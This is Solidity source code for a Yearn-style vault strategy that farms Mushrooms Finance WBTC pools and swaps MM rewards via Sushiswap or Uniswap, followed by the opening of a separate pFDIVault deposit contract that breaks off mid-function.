* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
abstract contract BaseStrategyInitializable is BaseStrategy {
event Cloned(address indexed clone);
constructor(address _vault) public BaseStrategy(_vault) {}
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external virtual {
_initialize(_vault, _strategist, _rewards, _keeper);
}
function clone(address _vault) external returns (address) {
return this.clone(_vault, msg.sender, msg.sender, msg.sender);
}
function clone(
address _vault,
address _strategist,
address _rewards,
address _keeper
) external returns (address newStrategy) {
// Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol
bytes20 addressBytes = bytes20(address(this));
assembly {
// EIP-1167 bytecode
let clone_code := mload(0x40)
mstore(clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone_code, 0x14), addressBytes)
mstore(add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
newStrategy := create(0, clone_code, 0x37)
}
BaseStrategyInitializable(newStrategy).initialize(_vault, _strategist, _rewards, _keeper);
emit Cloned(newStrategy);
}
}
interface MMVault {
function token() external view returns (address);
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function withdrawAll() external;
function earn() external;
function balance() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address _user) external view returns (uint256);
}
interface MMStrategy {
function harvest() external;
}
interface MMFarmingPool {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt);
function pendingMM(uint256 _pid, address _user) external view returns (uint256);
}
interface IUni{
function getAmountsOut(
uint256 amountIn,
address[] calldata path
) external view returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
/**
* @title Strategy for Mushrooms WBTC vault/farming pool yield
* @author Mushrooms Finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address constant public wbtc = address(0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599); //wbtc
address constant public mm = address(0xa283aA7CfBB27EF0cfBcb2493dD9F4330E0fd304); //MM
address public constant usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; //USDC
address constant public unirouter = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address constant public sushiroute = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address constant public mmVault = address(0xb06661A221Ab2Ec615531f9632D6Dc5D2984179A);// Mushrooms mWBTC vault
address constant public mmFarmingPool = address(0xf8873a6080e8dbF41ADa900498DE0951074af577); //Mushrooms mining MasterChef
uint256 constant public mmFarmingPoolId = 11; // Mushrooms farming pool id for mWBTC
uint256 public minMMToSwap = 1; // min $MM to swap during adjustPosition()
uint256 public minShareToProfit = 1; // min mWBTC share to withdraw as profit during prepareReturn()
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external override view returns (string memory){
return "yvWBTCStratMMV1";
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
constructor(address _vault) BaseStrategy(_vault) public {
require(address(want) == wbtc, '!wrongVault');
want.safeApprove(mmVault, uint256(-1));
IERC20(mmVault).safeApprove(mmFarmingPool, uint256(-1));
IERC20(mm).safeApprove(unirouter, uint256(-1));
IERC20(mm).safeApprove(sushiroute, uint256(-1));
}
function setMinMMToSwap(uint256 _minMMToSwap) external onlyAuthorized {
minMMToSwap = _minMMToSwap;
}
function setMinShareToProfit(uint256 _minShareToProfit) external onlyAuthorized {
minShareToProfit = _minShareToProfit;
}
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external override view returns (uint256) {
return 0;
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public override view returns (uint256){
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
return _convertMTokenToWant(_mToken.add(_mmVault)).add(want.balanceOf(address(this)));
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
){
// Pay debt if any
if (_debtOutstanding > 0) {
(uint256 _amountFreed, uint256 _reportLoss) = liquidatePosition(_debtOutstanding);
_debtPayment = _amountFreed > _debtOutstanding? _debtOutstanding : _amountFreed;
_loss = _reportLoss;
}
// Capture some additional profit if underlying vault get appreciation
uint256 debt = vault.strategies(address(this)).totalDebt;
uint256 currentValue = estimatedTotalAssets().sub(_debtPayment);
if (currentValue > debt){
uint256 target = currentValue.sub(debt);
uint256 _beforeWant = want.balanceOf(address(this));
uint256 _withdrawMShare = _convertWantToMToken(target);
if (_withdrawMShare > minShareToProfit){
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
if (_mmVault < _withdrawMShare){
_withdrawFromFarming(_withdrawMShare, _mmVault);
}
MMVault(mmVault).withdraw(_withdrawMShare);
uint256 _afterWant = want.balanceOf(address(this));
if (_afterWant > _beforeWant){
uint256 actual = _afterWant.sub(_beforeWant);
_profit = _profit.add(actual);
_loss = _loss.add(actual < target? target.sub(actual) : 0);
}
}
}
// Claim $MM profit
uint256 _pendingMM = MMFarmingPool(mmFarmingPool).pendingMM(mmFarmingPoolId, address(this));
if (_pendingMM > 0){
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, 0);
}
_profit = _profit.add(_disposeOfMM());
return (_profit, _loss, _debtPayment);
}
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal override{
//emergency exit is dealt with in prepareReturn
if (emergencyExit) {
return;
}
uint256 _before = IERC20(mmVault).balanceOf(address(this));
uint256 _after = _before;
uint256 _want = want.balanceOf(address(this));
if (_want > _debtOutstanding) {
_want = _want.sub(_debtOutstanding);
MMVault(mmVault).deposit(_want);
_after = IERC20(mmVault).balanceOf(address(this));
require(_after > _before, '!mismatchDepositIntoMushrooms');
} else if(_debtOutstanding > _want){
return;
}
if (_after > 0){
MMFarmingPool(mmFarmingPool).deposit(mmFarmingPoolId, _after);
}
}
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds). This function is used during emergency exit instead of
* `prepareReturn()` to liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss){
bool liquidateAll = _amountNeeded >= estimatedTotalAssets()? true : false;
if (liquidateAll){
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken);
MMVault(mmVault).withdraw(IERC20(mmVault).balanceOf(address(this)));
_liquidatedAmount = IERC20(want).balanceOf(address(this));
return (_liquidatedAmount, _liquidatedAmount < vault.strategies(address(this)).totalDebt? vault.strategies(address(this)).totalDebt.sub(_liquidatedAmount) : 0);
} else{
uint256 _before = IERC20(want).balanceOf(address(this));
if (_before < _amountNeeded){
uint256 _gap = _amountNeeded.sub(_before);
uint256 _mShare = _convertWantToMToken(_gap);
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
if (_mmVault < _mShare){
_withdrawFromFarming(_mShare, _mmVault);
}
MMVault(mmVault).withdraw(_mShare);
uint256 _after = IERC20(want).balanceOf(address(this));
require(_after > _before, '!mismatchMushroomsVaultWithdraw');
return (_after, _amountNeeded > _after? _amountNeeded.sub(_after): 0);
} else{
return (_amountNeeded, _loss);
}
}
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public view override returns (bool) {
return super.harvestTrigger(ethToWant(callCost));
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal override{
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mToken);
uint256 _mmVault = IERC20(mmVault).balanceOf(address(this));
if (_mmVault > 0){
IERC20(mmVault).safeTransfer(_newStrategy, _mmVault);
}
uint256 _mm = IERC20(mm).balanceOf(address(this));
if (_mm > 0){
IERC20(mm).safeTransfer(_newStrategy, _mm);
}
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal override view returns (address[] memory){
address[] memory protected = new address[](1);
protected[0] = mmVault;
return protected;
}
function _convertMTokenToWant(uint256 _shares) internal view returns (uint256){
uint256 _mTokenTotal = IERC20(mmVault).totalSupply();
if (_mTokenTotal == 0){
return 0;
}
uint256 _wantInVault = MMVault(mmVault).balance();
return (_wantInVault.mul(_shares)).div(_mTokenTotal);
}
function _convertWantToMToken(uint256 _want) internal view returns (uint256){
return _want.mul(1e18).div(MMVault(mmVault).getRatio());
}
function _withdrawFromFarming(uint256 _target, uint256 _balance) internal {
uint256 _mvGap = _target.sub(_balance);
(uint256 _mToken, ) = MMFarmingPool(mmFarmingPool).userInfo(mmFarmingPoolId, address(this));
require(_mToken >= _mvGap, '!insufficientMTokenInMasterChef');
MMFarmingPool(mmFarmingPool).withdraw(mmFarmingPoolId, _mvGap);
}
// swap $MM for $WBTC
function _disposeOfMM() internal returns (uint256){
uint256 _mm = IERC20(mm).balanceOf(address(this));
uint256 _wantProfit;
if (_mm >= minMMToSwap) {
// intuitively in favor of sushiswap over uniswap if possible for better efficiency and cost
address[] memory pathSushi = new address[](3);
pathSushi[0] = mm;
pathSushi[1] = weth;
pathSushi[2] = wbtc;
uint256 outputSushi = IUni(sushiroute).getAmountsOut(_mm, pathSushi)[pathSushi.length - 1];
address[] memory pathUni = new address[](4);
pathUni[0] = mm;
pathUni[1] = usdc;
pathUni[2] = weth;
pathUni[3] = wbtc;
uint256 outputUni = IUni(unirouter).getAmountsOut(_mm, pathUni)[pathUni.length - 1];
uint256 _want = want.balanceOf(address(this));
if (outputSushi >= outputUni){
IUni(sushiroute).swapExactTokensForTokens(_mm, uint256(0), pathSushi, address(this), now);
} else{
IUni(unirouter).swapExactTokensForTokens(_mm, uint256(0), pathUni, address(this), now);
}
_wantProfit = want.balanceOf(address(this)).sub(_want);
}
return _wantProfit;
}
function ethToWant(uint256 _amount) public view returns (uint256) {
if (_amount == 0) {
return 0;
}
address[] memory path = new address[](2);
path[0] = weth;
path[1] = wbtc;
uint256[] memory amounts = IUni(unirouter).getAmountsOut(_amount, path);
return amounts[amounts.length - 1];
}
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// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call{ value : amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pFDIVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
uint256 amount;
uint256 startTime;
uint256 checkTime;
}
string public _vaultName;
IERC20 public token1;
address payable public feeAddress;
address payable public vaultAddress;
uint32 public feePermill = 5;
uint256 public delayDuration = 7 days;
bool public withdrawable;
address public gov;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount;
event SentReward(uint256 amount);
event Deposited(address indexed user, uint256 amount);
event ClaimedReward(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
constructor (address _token1, address payable _feeAddress, address payable _vaultAddress, string memory name) {
token1 = IERC20(_token1);
feeAddress = _feeAddress;
vaultAddress = _vaultAddress;
_vaultName = name;
gov = msg.sender;
}
modifier onlyGov() {
require(msg.sender == gov, "!governance");
_;
}
function setGovernance(address _gov)
external
onlyGov
{
gov = _gov;
}
function setToken1(address _token)
external
onlyGov
{
token1 = IERC20(_token);
}
function setFeeAddress(address payable _feeAddress)
external
onlyGov
{
feeAddress = _feeAddress;
}
function setVaultAddress(address payable _vaultAddress)
external
onlyGov
{
vaultAddress = _vaultAddress;
}
function setFeePermill(uint32 _feePermill)
external
onlyGov
{
feePermill = _feePermill;
}
function setDelayDuration(uint32 _delayDuration)
external
onlyGov
{
delayDuration = _delayDuration;
}
function setWithdrawable(bool _withdrawable)
external
onlyGov
{
withdrawable = _withdrawable;
}
function setVaultName(string memory name)
external
onlyGov
{
_vaultName = name;
}
function balance0()
public
view
returns (uint256)
{
return address(this).balance;
}
function balance1()
public
view
returns (uint256)
{
